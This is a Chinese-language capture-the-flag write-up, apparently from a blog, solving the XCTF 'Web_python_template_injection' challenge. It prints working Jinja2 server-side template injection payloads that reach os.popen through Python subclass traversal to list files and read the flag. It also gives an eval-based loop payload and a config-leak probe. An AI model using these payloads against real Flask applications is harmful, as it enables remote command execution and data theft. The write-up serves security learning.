攻防世界 Web_python_template_injection wp

2021.1.19
今天把两个拖了很久的python模板注入做完了,感觉神清气爽!

WP

在这里插入图片描述

进来后看到了题目的提示,python template injection,看样子是个模板注入,先测试一下。
在这里插入图片描述
1+1被计算成了2,并回显到页面上,说明存在模板注入,去百度一下template的注入姿势。

//调用os模块的popen执行ls打印所有文件
{
    
    {
    
    [].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen("命令").read()}}
{
    
    {
    
    [].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen("ls").read()}}

在这里插入图片描述
显示文件名称后,出来一个fl4g,一个index.py。
查看fl4g,只需要将命令里的ls改为cat fl4g即可。

{
    
    {
    
    [].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen("cat fl4g").read()}}

在这里插入图片描述
于是获得flag。

通过模板注入查看服务器基础信息

{
    
    {
    
    config.items()}}

在本题目环境下查看
在这里插入图片描述
本题目没有用到,还是要mark一下。

大佬的payload

说实话鄙人没太看懂

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}   
  {% if b.__class__ == {}.__class__ %}         //遍历基类 找到eval函数
    {% if 'eval' in b.keys() %}    //找到了
      {
   
   { b['eval']('__import__("os").popen("ls").read()') }}  
      //导入cmd 执行popen里的命令 read读出数据
      //{
   
   { b['eval']('__import__("os").popen("cat fl4g").read()') }} 
      //读取时只需要将ls换成cat fl4g即可
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

大佬原文链接:https://blog.csdn.net/nicesa/article/details/106348529

python Web 模板引擎

1.Jinja2

2.Tornado.template

3.Django.template

扫描二维码关注公众号,回复: 13613947 查看本文章

Tornado 中模板渲染函数在有两个:

1.render

2.render_string
(这个在上午做题遇到了,相关题目WP链接:https://blog.csdn.net/weixin_45253216/article/details/112801095

Flask 中模板渲染函数也是有两个

1.render_template

2.render_template_string

render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,在渲染的时候会把{ {}}包裹的内容当做变量解析替换。

简而言之就是我们{ {}}中的内容被当做了变量解析,那么我们可以利用这一点,调用python的类,实现我们想要达到的目的。

python沙箱逃逸

https://blog.csdn.net/zss192/article/details/104200493

https://hatboy.github.io/2018/04/19/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E6%80%BB%E7%BB%93/
先挂两个链接,本题目的payload就是根据这两个构造出来的,日后再一起总结【狗头】

猜你喜欢

转载自blog.csdn.net/weixin_45253216/article/details/112848689